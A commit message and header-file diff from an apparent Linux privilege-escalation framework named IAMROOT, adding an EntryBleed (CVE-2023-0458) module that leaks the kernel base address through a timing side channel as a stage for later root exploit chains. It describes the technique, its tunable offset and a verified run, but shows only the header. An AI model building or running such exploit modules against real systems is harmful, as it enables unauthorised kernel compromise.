Phase 3: EntryBleed module — working stage-1 kbase leak brick

- modules/entrybleed_cve_2023_0458/ (promoted out of _stubs):
  - iamroot_modules.{c,h}: full EntryBleed primitive (rdtsc_start/end
    + prefetchnta + KASLR-slot timing sweep) wired into the standard
    iamroot_module interface. x86_64 only; ARM/other gracefully
    return IAMROOT_PRECOND_FAIL.
  - detect(): reads /sys/.../vulnerabilities/meltdown to decide
    KPTI status. Mitigation: PTI → VULNERABLE. Not affected → OK.
  - exploit(): sweeps the 16MiB KASLR range, prints leaked kbase
    (and KASLR slide). JSON-mode emits {"kbase":"0x..."} to stdout.
  - entrybleed_leak_kbase_lib(off) declared as a public library
    helper so future LPE chains needing a stage-1 leak can just
    #include the module's header and call it.
  - entry_SYSCALL_64 slot offset overridable via
    IAMROOT_ENTRYBLEED_OFFSET (default 0x5600000 for lts-6.12.x).

- __always_inline fallback added since glibc/Linux-kernel macro
  isn't universal; module now builds clean under macOS clangd lint
  and on musl.

- iamroot.c registers entrybleed alongside the other families;
  Makefile gains it as a separate object set.

Verified end-to-end on kctf-mgr (Debian 6.12.86):
  iamroot --exploit entrybleed --i-know
  → [+] entrybleed: leaked kbase = 0xffffffff8d800000

This is the FIRST WORKING-EXPLOIT module in IAMROOT (5
copy_fail_family modules wrap existing code from DIRTYFAIL;
dirty_pipe is detect-only). EntryBleed is x86_64 stage-1 brick
that future chains can compose.

modules/entrybleed_cve_2023_0458/iamroot_modules.h

@@ -0,0 +1,20 @@
+/*
+ * entrybleed_cve_2023_0458 — IAMROOT module registry hook
+ */
+
+#ifndef ENTRYBLEED_IAMROOT_MODULES_H
+#define ENTRYBLEED_IAMROOT_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct iamroot_module entrybleed_module;
+
+/* Library entry point for other modules that need a kbase leak.
+ * Returns the leaked kernel _text base on success, or 0 on failure
+ * (x86_64 only; ARM and other arches return 0). The optional
+ * `entry_syscall_slot_offset` is the offset from kbase to
+ * entry_SYSCALL_64's 2MiB-aligned slot. Pass 0 for a kernel-default
+ * (lts-6.12.x-style; ~0x5600000). */
+unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset);
+
+#endif